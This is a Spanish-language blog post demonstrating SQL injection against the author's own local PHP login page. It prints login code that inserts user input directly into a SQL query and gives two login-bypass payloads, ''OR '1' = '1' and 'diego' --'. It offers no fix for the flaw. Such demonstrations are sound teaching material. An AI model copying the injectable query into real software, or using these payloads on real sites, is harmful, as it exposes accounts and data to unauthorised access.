DEV Community

Cover image for 🛡Vulnerabilidad en login con PHP💉Ataque SQL INJECTION
GeoannyCode
GeoannyCode

Posted on • Edited on

🛡Vulnerabilidad en login con PHP💉Ataque SQL INJECTION

Para realizar esta prueba de vulnerabilidad se utilizó una página web que maneja la base de datos con SQL, en este caso utilizando XAMPP en un servidor local.

Base de datos:

Se usa una base de datos SQL que contiene el usuario y la contraseña

id usuario contraseña
1 diego 1234

base de datos

Vista del login

Vista del login

Código de PHP que realiza la comprobación



<?php
include('db.php');
$usuario=$_POST['usuario'];
$contraseña=$_POST['contraseña'];
session_start();
$_SESSION['usuario']=$usuario;

$conexion=mysqli_connect("localhost","root","","login");

$consulta="SELECT*FROM usuarios where usuario='$usuario' and contraseña='$contraseña'";
$resultado=mysqli_query($conexion,$consulta);

$filas=mysqli_num_rows($resultado);

if($filas){

    header("location:home.php");

}else{
    ?>
    <?php
    include("index.html");

  ?>
  <h1 class="bad">ERROR DE AUTENTIFICACION</h1>
  <?php
}
mysqli_free_result($resultado);
mysqli_close($conexion);


Enter fullscreen mode Exit fullscreen mode

Ingresando correctamente los datos

login php

Pantalla de bienvenida y error

bienvenida

Esta pantalla aparecerá solamente si los datos ingresados son correctos.

error de ingreso de datos

Esta pantalla muestra el error al colocar datos erróneos.

Aplicación de ataque SQL Injection

Para realizar el ataque se utilizo la siguiente línea de código:



'OR '1' = '1


Enter fullscreen mode Exit fullscreen mode

Tanto en el campo de usuario como de contraseña

sql injection

De este modo la línea que codigo de nuestro archivo PHP que realiza la validación de usuario y contraseña nos queda así

Antes del ataque:



$consulta="SELECT*FROM usuarios where usuario='$usuario' and contraseña='$contraseña'";


Enter fullscreen mode Exit fullscreen mode

Después del ataque



$consulta="SELECT*FROM usuarios where usuario=''OR '1' = '1' 
and contraseña=''OR '1' = '1'";


Enter fullscreen mode Exit fullscreen mode

Agregando a la consulta cuando 1 sea igual a 1 es decir verdadero siempre dándonos acceso y mostrando la pantalla de bienvenida como si los datos fueran correctos.

correcto

Adicionalmente se puede ingresar utilizando un solo campo utilizando la siguiente línea de comandos



diego' --


Enter fullscreen mode Exit fullscreen mode

de esta forma no importa lo que se envíe en el campo de contraseña.

sql injection 2

Dando acceso de igual forma

vulnerabilidad aplicada

¡Gracias por leer este post!😊

Si te ha parecido útil o interesante, puedes darle un like 💙 para motivarme a seguir compartiendo contenido así. Si tienes la oportunidad y quieres apoyar mi trabajo, puedes hacerlo a través de un pequeño donativo 💸 ¡Un café virtual sería un gran detalle! ☕ Puedes hacerlo a través de Ko-fi.

Además, si te gustaría seguir mis actualizaciones y contenido en redes sociales, puedes encontrarme en Twitter y YouTube como "GeoannyCode" 📱💻 Espero verte por allí! 😊 ¡Gracias por tu apoyo! ❤️"

Top comments (0)